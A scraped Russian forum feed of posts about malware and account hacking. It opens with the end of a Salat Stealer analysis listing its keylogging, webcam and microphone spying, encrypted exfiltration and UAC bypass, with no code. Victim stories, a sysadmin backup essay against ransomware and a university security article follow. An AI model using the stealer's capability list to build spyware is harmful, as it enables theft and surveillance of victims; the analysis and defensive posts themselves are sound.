Salat Stealer записывает все, что вводится в систему жертвы, фиксируя учетные данные, сообщения и любые другие вводимые данные в режиме реального времени.

Аудио- и видеошпионаж

Salat Stealer функционирует как полноценный шпионский инструмент, способный:

Запись микрофона: захват и передача звука с микрофона жертвы.
Доступ к веб-камере: запись видео с веб-камеры системы.
Прямая трансляция: трансляция аудио- и видеопотоков в реальном времени на удалённый сервер злоумышленника.

Эксфильтрация

Salat Stealer использует скрытый процесс эксфильтрации для передачи украденных данных на свой сервер C2, используя шифрование AES для сокрытия конфиденциальной информации перед передачей. Файлы упакованы в архивы ZIP

Заключение

SalatStealer — это скрытное и устойчивое вредоносное ПО, предназначенное для кражи конфиденциальных данных, избегая обнаружения. Собирая учетные данные, изымая файлы и обеспечивая наблюдение в реальном времени, оно представляет серьезные риски для жертв, включая финансовые потери, кражу личных данных и нарушения конфиденциальности. Оно использует обход UAC и изменения реестра, что затрудняет удаление. Кроме того, его механизмы шифрования и упаковка UPX еще больше усложняют анализ и обнаружение. Учитывая его широкую направленность на веб-браузеры, криптовалютные кошельки и приложения для обмена сообщениями, SalatStealer остаётся значительной угрозой, подчёркивая необходимость постоянного мониторинга и расширенных мер безопасности для противодействия его воздействию.

Показать полностью 22
[моё] Читы Игры Онлайн-игры Вирус Взлом Школьники Компьютер Безопасность Троян Исследования Реверс-инжиниринг Malware Длиннопост
5
11
Вопрос из ленты «Эксперты»

Взлом в телеграм. Кому и зачем это нужно и как защититься?⁠⁠

Всем привет! Ситуация следующая: у меня всего 3 учетки в телеграм: одна на действующем номере и две других уже на недействующем. Пользуюсь ими всеми по сей день благодаря тому, что можно заходить из другого устройства. Так исторически сложилось, что первая создана для личного пользования, две других по работе (одна для коллег, вторая для клиентов), но именно самая важная и самая личная - на одном из недействующих.

Считала всегда себя неглупой в плане безопасности, никогда не реагирую на сомнительные ссылки, знаю про "сотрудников банка", новости читаю, меня еще никто не ломал, а значит и бояться нечего. Но вчера меня с небес на землю спустили со звуком.

На телеграм с действующим номером поступило сообщение от далеко знакомого контакта с "подарком" годовой подписки телеграм премиум и ниже ссылка. Ну я ж не дура, чтобы по ней переходить. Видно же, что к официальной она не относится. Нажала "скопировать" и вставила в строку сообщения, сделала скрин для пожилой родни, чтоб не велись. В прочем, вот и тот самый скрин:

Взлом в телеграм. Кому и зачем это нужно и как защититься? Telegram, Мошенничество, Взлом, Вирус, Кража аккаунтов, Вопрос, Спроси Пикабу, Длиннопост, Негатив

Ну и этому контакту я ответила что-то в стиле "нечего тут разводить". Но проходит буквально пару минут, от нее приходит ответ "меня взломали", я перехожу на это сообщение, чтобы ответить - и пока. Меня уносит на другой мой аккаунт, в телефоне та же петрушка, из трех зайдено только в два. Этот пропал на всех моих устройствах.

Естественно, реакция была мгновенной, восстановила через смс, вошла обратно везде, создала облачный пароль и почти успокоилась (почти, потому что когда пароль создала - на другом устройстве сеанс все равно продолжился, значит и у мошенника тоже все супер). Более того, меня опять выбило. Опять зашла, но уже только с телефона. Завершить активные сеансы мне не удавалось из-за безопасности телеги. Причем, сомнительных сеансов даже и не было, но почему-то дублились мои устройства, что было аж 5 сеансов, хотя должно быть 3 (комп+телефон+старый телефон, где давно сбито до заводских). Надо было завершить их все именно с устройства, где зайдено давно, но выбило-то везде. Так что ждем сутки.

Потом полночи чистила комп от вирусов двумя разными антивирусниками (не факт даже, что по результатам несколько файлов вирусами назвать было можно), снесла телегу на компе, скачала заново, но терпеливо дожидалась суток, смогла завершить все сеансы. Ура, получилось. Плюс на всякий случай на двух других учетках тоже сеансы завершила. Теперь смело зашла с компа. Взломанная ранее учетка - норм, дальше зашла с самой важной мне учетки (с недействительного номера) - и ЧТОБЛТ? Теперь выбило из нее. Правда в этот раз не выбило из телефона, скорее всего потому что я с нее в течение суток тоже завершала сеансы (если бы и на телефоне выбило, то прощай учетка навсегда). Зато вчерашняя страдалица на месте, все круто прям.

И теперь я думаю, что у меня в компьютере сидит какая-то очень плохая сущность (в виде гномика), которая именно там меня и выносит, антивирусы ее не видят, а она творит всякую дрянь. А муж мне сегодня заявил, что его вообще давно приложение с компа (его, не моего) выносит, что он уже им и не пользуется. Хотя он вообще на спам не натыкался.

Теперь, товарищи знатоки, вопрос(ы):
1) Как мне продолжить сидеть с компа в телеге со всех трех учеток без "выбиваний" и без сноса винды?
2) Что нужно этим взломщикам от моих учеток, если мои контакты сообщили, что спама с такими же "подарками" от меня не было?
3) Не могут ли они копать глубже в плане кражи самого номера телефона и прочее?

Показать полностью 1
Telegram Мошенничество Взлом Вирус Кража аккаунтов Вопрос Спроси Пикабу Длиннопост Негатив
32
11

Сказ про шифровальщиков и шантажистов. Сисадминский наказ или как сберечь данные и свой зад⁠⁠

Повесть для начинающих (да и не только) админов. Может даже спектакль в лицах.

Сегодня тут был пост, который снесли где автор рассказал как зашифровали данные его конторы и как он выдергивал данных взад. Из за того что решением было заплатить вымогателям с последующим благополучным результатом пост был снесён как я предполагаю по подозрению в рекламе сотрудничества с вымогателями что может кстати так и есть (я хз, но вполне) но вот что мне не понравилось что многие ринулись обсмеивать и отрицать само явление – явление когда по вам вот так целенаправленного работают, потом всё шифруют и потом за деньги всё возвращают.
Дабы и меня не заклеймили как скамера и рекламщика договорнячка с шантажистами я приведу конкретный, действительный  (не для всех) способ как сделать ТАК ЧТОБЫ ПЛАТИТЬ НЕ ПРИШЛОСЬ, но сначала опишу само явление и проблему. Да млин дорогие модераторы к сожалению!!! такое есть… да.. и лучше осознавать и быть готовыми и иметь решение (его я и предложу в конце)

Итак сначала кратко (как Путин в историю на 30 сек)  про проблему и явление, а потом про решение.

Проблема:

По мимо банального явления как вирусы шифровальщики которые просто шифруют ваши данные (думаю тут всем это знакомо) и разбрасывают везде текстовые файлики с инструкцией куда и как слать деньги и возможно какие то контакты для связи существуют и целенаправленные шифрования. Там никто (изредко сайты антивирей) вам данные не расшифрует потому что скорее всего этих контактов то уже и нет и чел уже где то на бутылке или это просто система нипель. Если говорим про простых шифровальщиков то зачастую это мамкины хацкеры покупают готовые конструкторы троянов\шифровальщиков, меняют названия, меняют контакты и реквизиты, кошель и алга, но мы сейчас не про это – «тут рыбы нет» . Мы про другое сейчас (да да.. почти к сути уже добрался ). Сейчас активно действую профессионально сплоченные группы тех кто проникает в сеть предприятия, шифрует данные, далее находясь на контакте, демонстрируя холодную деловитость, (Nothing personal, just business) профессионализм - решают вашу проблему путем получения ваших средств при этом попутно сопровождая вас на всех этапах как заправский крутой ИТ аутсорсинговый сервис на всех этапах (тикеты, чат круглосуточный, личный кабинет и т.д) да ещё и не просто так, а например по средствам выставления СЧЁТА (то есть конторе даже не надо где то рожать хмурый налик чтобы расплатиться) то есть удобства и сервис на высоте! Беда в том, что действительно решают проблему и поэтому им платят и многие даже заботиться (заботились) про свою репутаци. Для тех «специалистов» что про такое слыхом не слыхивали даю намётку – почитайте про группировки Cont/Ryuk, Pysa, Clop (TA505), Hive, LockBit 2.0, Ragnar Locker, BlackByte и BlackCat. После того оглянитесь вокруг и посмотрите на каком профессиональном уровне сейчас утроены call центры мошенников и прикиньте известный орган к носу на тему «бывает\ не бывает.»  Чуваки проникают в сеть компании (хоть с пользовательской безправной машины, хоть как то)  проводят в сети до месяца – спокойно изучают сеть, изучают данные по компании в том числе и публичные. Легко понимают примерные финансовые возможности компании (им точно не надо.. можно примерно) далее задача «бахнуть» сеть и выставить сумму которая контора безболезненно потянет, а если ещё присовокупить что оплата по счёт (пусть и не от резидента) то вообще «сказка» сплошные удобства. Это лучше чем простой работы или утеря всего и полный крах. Вся эта канитель с каждым шагом настраивает вас на оплату – всё очень деловито. Приведу живой пример: вы получаете свой лох \ фан id попаданца и ссылку на сайт. Вводите там id, далее вы попадает на внутренний портал, где за вами закреплен менеджер а то и отдельно технарь. Всё как в лучших домах – чат, вложение файлов, создания трабл тикетов – всё всё прям капец как на уровне и вы пока с ааах…фигевшими глазами на это всё великолепие взираете. Далее общение и склонение к сотрудничеству с администрацией и ДАЖЕ постпродажной поддержкой скольких то дней (сюр но это так, может не всегда так, но в моих живых примерах было так). Тут всё понятно и что будет далее расписывать нет смысла.

- как ломают ? да как угодно, по вам работают не боты, а люди, вариков полно. если у вас всё по безопасности но недосягаемой высоте или вы просто самоуверенный баран закрывай этот текст.

- мы никому не нужны мы «неуловимые ДЖО» и торгуем дохлыми хомяками (змей кормить)! Да счаааззз, размечтались – нужны нужны! если какие то денежки есть и вы можете их «вынюхнуть» то пофиг что вы не газпром и если контора небольшая то трудозатраты на преодоления защиты будут малы (как правило).

- ну быстро всё выключить из розетках, шифровальщики не мгновенные! В моём примере всё было молниеносно – шифровались не файлы, а диски при помощи легального ПО на который антивирь не агрился.

Итак дано – вы Д’Артаньян, кругом злобные шифровальщики и при этом у вас нет ИТ отдела из 100 дармоедов с пометкой специалист по безопасной безопасности.  Решение ооочень банальное и простой и поэтому самое сложное к исполнению по двум причинам:

1) нужна реальная неукоснительность и обязательность реализации

2) нет никакой магии и никаких волшебных программ которые спасут от всего. Это печалит

Решение это ВНЕЗАПНО бэкапирование… (ууоот так вот). Дорохой модератор погоди сносить пост, я продолжу. Дьявол всегда в деталях. Бэкапирование нужно не просто, а многоуровневое, тотальное и эшелонированное. Разными физическими машиными\серверами, которые к примеру никогда не встретятся в онлайне в одно время, эти бекап машины не должны подчиниться домену и его политикам, там должны быть уникальные пароли (разные) и о ужас!!! сделайте уж так чтобы эти пароли нигде небыли бы записаны НИГДЕ. Никаких нафиг менеджеров паролей - уж сделайте усилие над собой.(и если этих паролей от бекап серверов в том числе не будет у ваших начальников и коллег ничего не рухнет)

И ВОТ ВСЁ ЭТО БЫЛО и НЕ СПАСЛО ))) в тех двух случаях в которых я помогал тушить «пожар». Теперь надо сделать так чтобы спасло и заодно поговорим ПОЧЕМУ имея на руках бекапы без единого разрыва, целые,румяные и актуальные пришлось ими пренебречь по факту.

Вот у вас на руках по сути есть бекапы всего, все данные, все виртуалки, и даже все нужные образа физических машин – ваааа .. даааа.. красаучег! Но нет.. жизнь вас не готовило к тому что ляжет всё и сразу. Осознайте: ВСЁ И СРАЗУ. Вы начинаете процесс разворачивания бэкапов, разархивирования данных, копирования, на новые чистые системы (которые надо ещё поставить ВСЕ И СРАЗУ) и речь идёт про десятки и десятки терабайт (это вам не история когда лёг 1 сервак) и вот вы вынуждены доложить что процесс займёт  пару дней чистыми… вот так просто и без затей при работе 24\7 просто потому что. Много всего и сразу. МНОГО ВСЕГО – ОЧЕНЬ. СЛИШКОМ. Бэкапы никто как правило не хранит на массивах из быстрых сочных SSD и скорее всего у вас тоже как и у всех бэкапные массивы их HDD больших, жирных и не дорогих, да ещё всё до кучи ЗАПАКОВАНО  потому что вы хороший зайчик и  вы хотите обеспечить чудесную глубину и частоту резервирования, а данных мноха поэтому тока так.

Потому что никто не планировал такой исход и вот вы собираетесь на консилиум с руководством для выделения приоритетов того что восстанавливать в первую очередь, играетесь приоритетами и пытаетесь как то что то придумать, но всего много и руководитель согласует вам план и приоритеты, но он уже понимает что сроки… сроки пипец… они его не радуют потому что не факт что у вас всё получиться (слово "выгорит" не стал использовать ) это ВЫ уверены что всё будет ок, а руководитель в ВАС в целом уже совсем не уверен после факапа (в целом) и всё это накладывается на весьма мягко говоря нервную обстановку. А ещё ребята которые хотят деНЯГ никуда не делись (это вам не боты) они по прежнему хотят деняг и они ждут, они потратили ресурсы на вас, а значит в процессе могут быть рецедивы (я бы даже сказал что будут потому что ребята которые подались мне сооовсем не дураки) и только вы начнется вставать с колен как вас снова неприятно удивят (даже с отключенным инетом) что конечно же не добавит вашему руководителю уверенности в том что вы сможет решить эту проблему. Руководитель уходит хмурый и задумчивый, попутно прикидывая второй путь решения (я думая понятно про какой путь речь) потому что «рациональность» рулит (в теории)  А я вам напомню что злодеи не идиоты – сумма запроса будет подобрано грамотно, они тоже понимают что они могли добраться не до до всех бекапов. И вот итог, результат .. КАТАРСИС который я описывать не буду ато этот пост захотят снести модераторы как за пропаганду шантажистов )))

Теперь проводим работу над ошибками и делаем по новой. С учётом шишек и бошек

Оговорочка для многокопытных многоопытных и крутых как сам мистер вселенная-Курицын моих коллег: вот все сразу в пень! сразу… оно не для вас. пропуститесь, в интернетах всегда кто-то не прав и я в первых рядах. Я сам неплохо умею в умные слова, термины и крутые программные комплексы размером с Африку, тут не про это – тут «простые советские» решения. тут про обязательность концепцию и неукоснительность

Сначала нам нужен план – концепция, в общем политика

  1. Берём за аксиому что нас «хакнут» - 146%. Вот берём за константу НАС ТОЧНО ХАКНУТ.

  2. НАС БУДУ ХАКАТЬ ЧЕРЕЗ ДЕНЬ!

  3. Делаем план действий именно по этому сценарию, но не формальный как план эвакуации  а «боевой» - всамомделешний, подробный и хороший.

  4. Делим данные на те которые:

  5. являются действительно чувствительными к утечки (то есть страшна именно утечка, а не просто их потеря)

  6. и данные которые страшно потерять, но их утечка условно нам пофиг (например удалена вся основная файловая помойка компании – работа встала, но там не было данных утечка которых несёт проблемы – не утекли «секретики и делишки», просто мы пролюбили всю рабочую инфу )))

  7. техническое обеспечения работы – (загрубим для простоты понимания - операционки на ПК)

  8. Действительно чувствительных данных всегда мало, людей которые имеют к ним доступ тоже всегда очень мало (а если не так, то должно быть так и точка) и тут есть возможность организовать действительно качественную защиту (когда данных мало и круг лиц мал) – тут углубляться нет смысла, это отдельная тема, но тут можно взять опыт из интернета.

  9. Все прочие данные буду ТОЧНО хакнуты и точно зашифрованы – таков путь такова концепция и поэтому упор на эшелонированное, многоуровневое резервирование. разными средствами по ранее описана методу а именно:

  10. - средства резервирования должны быть представлены хотя бы в 2х единицах (даже если придётся колхозить на простом ПК с простыми дисками)

  11. - эти средства никогда не должны встречать в сети в онлайне. Один работает, второй физически выключен. Автоматизация всего этого и прочий конкретный скриптинг я оставлю за рамками – я тут про более важное ПРО КОНЕПЦИЮ.

  12. - серваки (серваки\насы\компы\баба зина – неважно) которые занимаются таким бэкапом не должны иметь хоть что то общего по привилегиями и паролям с отсевной сетью. Никакого членства в домене, только уникальные нигде не записанные пароли (да вот так). Только суровый standalone . Бэкап серваки должны сами стягивать данные из источников, то есть у вас не должно быть ситуации когда какой то декапируемый объект сам кладёт по сети на бекап сервер что то тем самым засвечивая путь к нему и до кучи ещё какой никакой но доступ на запись. Только сам бэкап север стягивает данные. Если так не всегда можно сделать – использовать промежуточную шару.


  14. там где случился капец (то есть разные железки, разные доступы и никогда не пересекаются онлайн, с временным интервалом «отстоя»)  НО! Добавляем ещё ЗЕРКАЛИРОВНАИЕ данных на быстрых носителях. Именно зеркало, а не холодные бекапы, на хоть сколько то быстрых массивах. На таких зеркалах не будет возможности сделать большие  глубины зеркалирования (тупо неоправданно дорого) но оно готовое хоть к какой-то работе можно даже сразу заранее расшарить но все данные только в режиме чтения потому назначение прав на больших данных тоже не бесплатное по времени. ВАЖНО!!!! Именно вот такое зеркало отличает предыдущий опыт когда на руках есть все бекапы но толку нет. Вам может казаться что у вас больше времени сожрёт ставить разные ОСи и прочее, а по факту легко будет что все «технические данные» и настройки вы сможете сделать в разы быстрее чем будет возможность дать доступ к просто данным. Просто из за объёмов и операций над этими объёмами (напомню у вас всё и сразу ВСЁ И СРАЗУ)

  15. Проводим РЕАЛЬНОЕ, а не виртуальное учение по «тушению пожара». В реальных обстоятельствах ты получаешь в дыхло там где не ждал - ВОТ БАНАЛЬНО НОЧЬ, УЛИЦА ФОНАРЬ  овердохера машин на которые нужно одновременно загружать с USB носителей чтобы восстановить образа, а у тебя нет вот прям сейчас СТОЛЬКО шлефек – ну их тупо нет, и ты нигде их не раздобудешь оперативно, а надо прям СЧАЗ! Или к примеру в огромных объёмах как при настоящем пожаре нужны емкости (внешние диски) и вот тебе раньше казалось что у тебя их этих дисков много и ещё в шкапу пяток не распакованных валяется, но при таком пожаре их катастрофически мало! ИХ НЕ ХВАТАЕТ . Ещё раз – только реальные практические действия покажут слабые места – никакое продумывание даже степ бай степ этого не сэмулирует и не заменит - НИКАК. А если у вас такой бешеный уровень самоорганизации что вы способны так на «бумаге» всё продумать и это реально срабатывало (важно чтоб вы это проверяли на практике а не просто думали что крут) тогда вам сей опус не нужен вы и так молодец

  16. прописанная истина - если вы не проверяете бекапы на работоспособность - значит у вас их нет. тчк.

Вот и всё, ни магии, ни секретов, просто я постарался сумбурно донести одну мысль: важна «КОНЦЕПЦИЯ» при которой вы исходите что вас буду взламывать через день, но при этом вам надо обеспечивать работу. Всё. Нельзя только терять малый пул чувствительных данных, в остальном а хоть обудаляйтесь, обзашифровыватесь, обвзламыватесь – я как феникс, пол ночи и ночь и утром офис в работе и я ещё и поспать успею. СОСИТЕ!

Этот то что по итогу и принесло эффект (вы же не думаете что про вас забудут особенно если вы поделитесь денюжками со злодеями ))) пойдёт время и всё повториться как встарь, но эти «типо» будут уже другие (типа другие или реально другие - пофиг) ребята, потому получив данные по ваше сети в виде карты сети, каких то нюансов или паролей эту инфу тоже можно перепродать другим злодейским злодеям, ровно так как перепродают базы телефоном для холодных звонков

Злодеи легко отступят в том числе если в чатике дать им расклад просто на пальцах с доказухой – там ребята про КПД и про денежки, вы для них «джаст бузинес» им просто нет смысла тратить на вас время, вы просто часть работы, там нет эмоций.

Некоторое время назад я думал что слегонца хитрожоп. Я на все рабочие станции ставлю по дешманскому HDD (даже покупать не надо, всяких 500гб баракуд валом старых) да и 3-4к + стоимости станции не проблема. Диск этот не был виден в системе с буквой (быквы диска нет) Раз в неделю в глухую ночь диск появлялся. Далее бесплатная oem версия акрониса делает образ основного SSD целиком и после этого диск опять убирает букву. Это простой механизм много раз спасала не только от простых шифровальщиков, но и просто от разного рода проблем на рабочих станция. Вот у тебя на станции есть целиковый образ системы недельной давности причём именно что тут, а не в сети. Удобно, прикольно, НО! вот это уже не поможет от ранее описанного способа.

Да концепция подойдёт не всем просто по модели данных, но я и не претендую. На рейтинг пофиг, на препинания и орфографию пофиг, на графоманию пофиг, на всё пофиг, я пошел на обед )))

Показать полностью
[моё] Шифровальщик Вирус Взлом Мошенничество Сисадмин Утечка данных Резервное копирование Текст Длиннопост Негатив
10

Взломали WhatsApp!!! Как??⁠⁠

У коллеги на работе взломали WhatsApp, сидим с ней в одном кабинете. WHATSAPP был открыт у неё дома на ноуте. Наверно ребёнок, что то нажал
... Мы не поняли схемы взлома(((

Взломали WhatsApp!!! Как?? Телефонные мошенники, Мошенничество, Интернет-мошенники, WhatsApp, Взлом, Длиннопост, Нужен совет, Совет, Вирус
Взломали WhatsApp!!! Как?? Телефонные мошенники, Мошенничество, Интернет-мошенники, WhatsApp, Взлом, Длиннопост, Нужен совет, Совет, Вирус
Взломали WhatsApp!!! Как?? Телефонные мошенники, Мошенничество, Интернет-мошенники, WhatsApp, Взлом, Длиннопост, Нужен совет, Совет, Вирус

Одновременно посыпались смс с кучи интернет магазинов. Она в панике удалила аккаунт с телефона, а оказалось надо было со свего телефона зайти и в настройках выйти из всех связанных устройств.
Про собаку я написала чтобы затянуть разговор)

Показать полностью 2
[моё] Телефонные мошенники Мошенничество Интернет-мошенники WhatsApp Взлом Длиннопост Нужен совет Совет Вирус
9
1

"Сияние". Китайская версия⁠⁠

Показать полностью
Дверь Взлом Китай Костюм Вирус Видео Без звука Вертикальное видео
1
4

За последние три месяца на Пермский Политех было совершено более 260 тысяч кибератак⁠⁠

За последние три месяца на Пермский Политех было совершено более 260 тысяч кибератак Информационная безопасность, Хакеры, Интернет, Взлом, Вирус, Персональные данные, Аутентификация, Двухфакторная аутентификация, Длиннопост

В России за первую половину 2023 года количество кибератак выросло в два раза по сравнению с аналогичным периодом за прошлый год. В ПНИПУ за период с мая по июль было зафиксировано 264 305 кибератак. Все они успешно отражены.

Начальник отдела информационной безопасности Пермского Политеха Антон Каменских рассказывает, что большинство кибератак (246 884 случаев) связаны с «разведкой», когда злоумышленники автоматизировано с помощью ботов собирают информацию о веб-ресурсах, оценивают их уязвимость, а также потенциальный интерес для взлома. Прямого вреда такие атаки не несут.

Реальную опасность представляли только 2327 атак (около 1% от общего числа), однако чаще всего — это попытки вслепую обойти защиту веб-ресурсов организации. Среди потенциально опасных случаев можно выделить DDoS-атаки (25% от количества всех атак), их цель — довести вычислительную систему до отказа. Интенсивность таких атак на Пермский Политех существенно выросла летом в период приемной компании.

— Прочие атаки связаны с попытками эксплуатации различных популярных уязвимостей веб-ресурсов из OWASP TOP-10. Развернутые системы защиты успешно справляются с большинством кибератак. Конечно, всегда есть риск zero-day уязвимостей (недостатка программного обеспечения), поэтому отдел информационной безопасности ПНИПУ стремится использовать современные сертифицированные решения, которые помогают противодействовать даже таким угрозам, — комментирует эксперт Пермского Политеха Антон Каменских.

Кандидат технических наук и доцент кафедры информационных технологий и автоматизированных систем ПНИПУ Даниил Курушин рассказал, какие виды компьютерных вирусов существуют и как можно похитить биометрические данные пользователя социальных сетей.

Вирус — это компьютерная программа, способная к самотиражированию, то есть бесконтрольному распространению по сети. Принято считать, что вирусы обязательно наносят вред системе, однако это не всегда так. Существует несколько видов угроз:

  • исследовательские, или разведывательные атаки: они позволяют разузнать об атакуемой системе и выявить ее уязвимые места;

  • атаки типа «эксплойт» — микропрограммы, эксплуатирующие некоторую уязвимость, которая могла быть выявлена в ходе разведывательной атаки;

  • атаки, вызывающие «отказ от обслуживания», которые призваны заблокировать работу сервиса или сети;

  • атаки, направленные на кражу или модификацию данных;

  • атаки, направленные на эксплуатацию вычислительной мощности устройства в собственных целях атакующего. Например, для генерации криптовалюты или для атак на другие хосты.

— Разумеется, если ввести в поиск «10 самых опасных вирусов 2023 года», то Интернет предложит соответствующий рейтинг с обзором на каждый вирус. Однако есть ли в этом смысл? Атомная бомба, безусловно, опаснее автомобиля, но шансов погибнуть под его колесами несравнимо больше, — отмечает эксперт Пермского Политеха Даниил Курушин.

Поэтому важен не вопрос «какой вирус самый опасный?», а «что делать, чтобы не пострадать от них?». Ответ на этот вопрос на первый взгляд довольно прост. Во-первых, соблюдать «информационную гигиену» и не устанавливать программы из сомнительных источников. Во-вторых, использовать технологические платформы, менее подверженные вирусным и другим атакам, объясняет специалист Пермского Политеха. Операционные системы на ядре Linux обычно безопаснее систем от Windows. Тенденция такова, что открытые и молодые системы безопаснее старых и закрытых. При этом редкие конфигурации могут быть безопаснее популярных, потому что под них реже пишутся программы-эксплойты.

— Существует сайт virustotal.com, который позволяет проверить файл 60 разными программами. Вполне может быть так, что 20 программ скажут, что вирусов нет, а 40 других обнаружат вредоносную программу. И как быть? В этом деле «демократия» не работает! — добавляет кандидат технических наук Даниил Курушин.

Часто целью кибератак становятся личные данные пользователей сети. Защитить эти данные может только Закон (152-ФЗ «О персональных данных» от 27.07.2006). Прочие меры лишь затрудняют их несанкционированное использование. Если ресурс запрашивает разрешение на использование ваших персональных данных, значит, что его владельцы следуют Закону. Однако ваши данные все еще могут попасть к третьим лицам как по недосмотру, так и намеренно. Чтобы этого не произошло, следует соблюдать аккуратность в сети, не регистрироваться сверх необходимости в разных сервисах и не оставлять свои данные в сомнительных ресурсах, считает эксперт ПНИПУ.

Необходимо понимать, что даже пересылка паспортных данных через мессенджеры или почту есть не что иное, как публикация личных данных. Даниил Курушин объясняет, что все данные, пересылаемые через сеть, записываются на носители серверов занятых в этом процессе и, теоретически, могут попасть к третьим лицам. Если необходимо переслать ваши данные через публичный сервис (например, социальные сети), то зашифруйте файл и отправьте пароль отдельным сообщением, желательно через другой сервис.

Говоря о защите персональных данных в соцсетях, стоит понимать, что любой способ предоставления уникального кода (пароля, отпечатка пальца и т.п.) — лишь первый этап сложного процесса. Интернет так устроен, что общение между вами и сервисом происходит путем отправки и приема множества пакетов с цифровыми данными. Подтверждение же подлинности пользователя занимает лишь малую часть из них. В дальнейшем вашему устройству выдается код (его можно найти в файлах cookies), который и есть «настоящий пароль». Если злоумышленнику удастся похитить или подобрать этот код, он сможет войти в ваш аккаунт.

Эксперт Пермского Политеха рассказывает, что крупные провайдеры услуг стараются сделать процедуру аутентификации достаточно безопасной. Но обеспечить полную безопасность вашим данным пока невозможно. Поэтому часто можно встретить дополнительную проверку подлинности пользователя, например, при совершении денежных транзакций.

Специалист ПНИПУ добавляет, что двухфакторная аутентификация (когда ваш аккаунт, например, защищен паролем и привязан к номеру телефона, на который приходит код проверки) также может быть скомпрометирована. Для дополнительной безопасности сервисы обычно присылают пользователям уведомления о входах в систему с других устройств. За помощью также можно обратиться в техподдержку, если вы получили нелогичные и подозрительные сообщения от друзей или у вас просят деньги, пароль от сервиса или другие коды.

— Не поленитесь и проведите «учения» с вашими родственниками. Все, указанное ранее, люди обычно знают, но не умеют применить в нужный момент, — комментирует Даниил Курушин.

Показать полностью
Информационная безопасность Хакеры Интернет Взлом Вирус Персональные данные Аутентификация Двухфакторная аутентификация Длиннопост
4

Нужна помощь... Хакер ? Вирусы ?⁠⁠

Ситуация произошла с моей сестрой, живет в Москве. Примерно месяц назад начались проблемы с техникой дома, а именно IMac, Macbook, IPhone (только куплен новый), планшет сына (андроид). Устройства перестали выходить в интернет (роутер от провайдера DLink с функцией WPS (пользовались), также на макосях были проблемы с доступом в качестве администратора (деталей не помню), кто-то входил в учетки яндекса и гугла (приходили оповещения), устройства глючили. Для начала хотели было посмотреть настройки роутера, но в ЛК так и не пустило, даже после reset, логин и пасс не подходили (написаны на самом роутере).

Куплен новый роутер от тп линк, основная сеть используется только главным устройством (IMac), для остальных гостевая сеть. Все запаролено кастомными паролями с цифрами и буквами. В итоге уже 6 неизвестных устройств добавлены в черный список, они как-то подключались к гостевой сети.

Все устройства, кроме IMac, были сброшены до заводских. IMac нужно сбрасывать вручную с флешкой. Создавались новые AppleID. Блютуз на иосях сам по себе выключается. Временами макбук и iMac тормозят на пустом месте. На днях сестра случайно заметила на iPhone в папке скрытые видео запись экрана 20 минутное, где видно, куда она тапала и, что открывала.. Связывалась с поддержкой apple по телефону, поддержка пришла к выводу, что какой-то софт следит за ее действиями и отправляет "куда надо". Также предположили, что "взломщик" - сосед, и проводит свои действия соединяясь по блютусу. Посоветовали сходить в полицию, чтобы зафиксировать факт взлома, чтобы избежать проблем в будущем, если хакер совершит мошеннические действия с устройства.

Деньги стырить не пытались, шантажей не было.

Находила "белого хакера", который должен был провести диагностику и помочь (удаленно) с проблемой, в итоге по номеру телефона (больше инфу не просил) не нашел каких-либо проблем, что очевидно с такими-то входными данными... Начал просить секретные данные от аккаунтов, сестра отказалась предоставлять, в итоге свалил с деньгами.

Хотел описать кратко и понятно, но получилось так) Есть ли в Мск специалист, который смог бы помочь избавиться от всех этих проблем навсегда? Только оффлайн. Подробнее и точнее инфа будет для спеца.

Показать полностью
[моё] Без рейтинга Вирус Взлом iOS Android Хакеры Помощь Москва Компьютер Лига Добра Текст
22

Помогите пожалуйста проверить вирус в файле⁠⁠

Всем привет! Уже дважды делал пост о возможном заражении компьютера через игру. Очень беспокоюсь за сохранность документов, которые были на компьютере. После того, как заподозрил неладное (в течение часа) удалил документы, но очень боюсь, что они могли уже попасть в чужие руки.

Скачивал вот эту игру на торренте. Если проверить установочный экзешник в вирустотал, несколько антивирусов показывают угрозы, но я в них не разбираюсь. Очень прошу знающих людей посмотреть и подсказать, какой именно вирус там находится, и вирус ли это вообще?

Конкретно интересует вопрос возможного взлома. Делает ли этот вирус конкретно так, что документами может завладеть посторонний? Скопировать (не уничтожить, а именно забрать себе) конкретные файлы из документов? Если это просто какой-нибудь майнер, то для меня это не так страшно. Очень прошу помощи, т.к. очень переживаю.

Спасибо, если кто сможет подсказать.

Вопрос Нужен совет Консультация Совет Компьютерная помощь Компьютерные игры Игры Вирус Компьютерный вирус Взлом Троян Антивирус Текст
22
Посты не найдены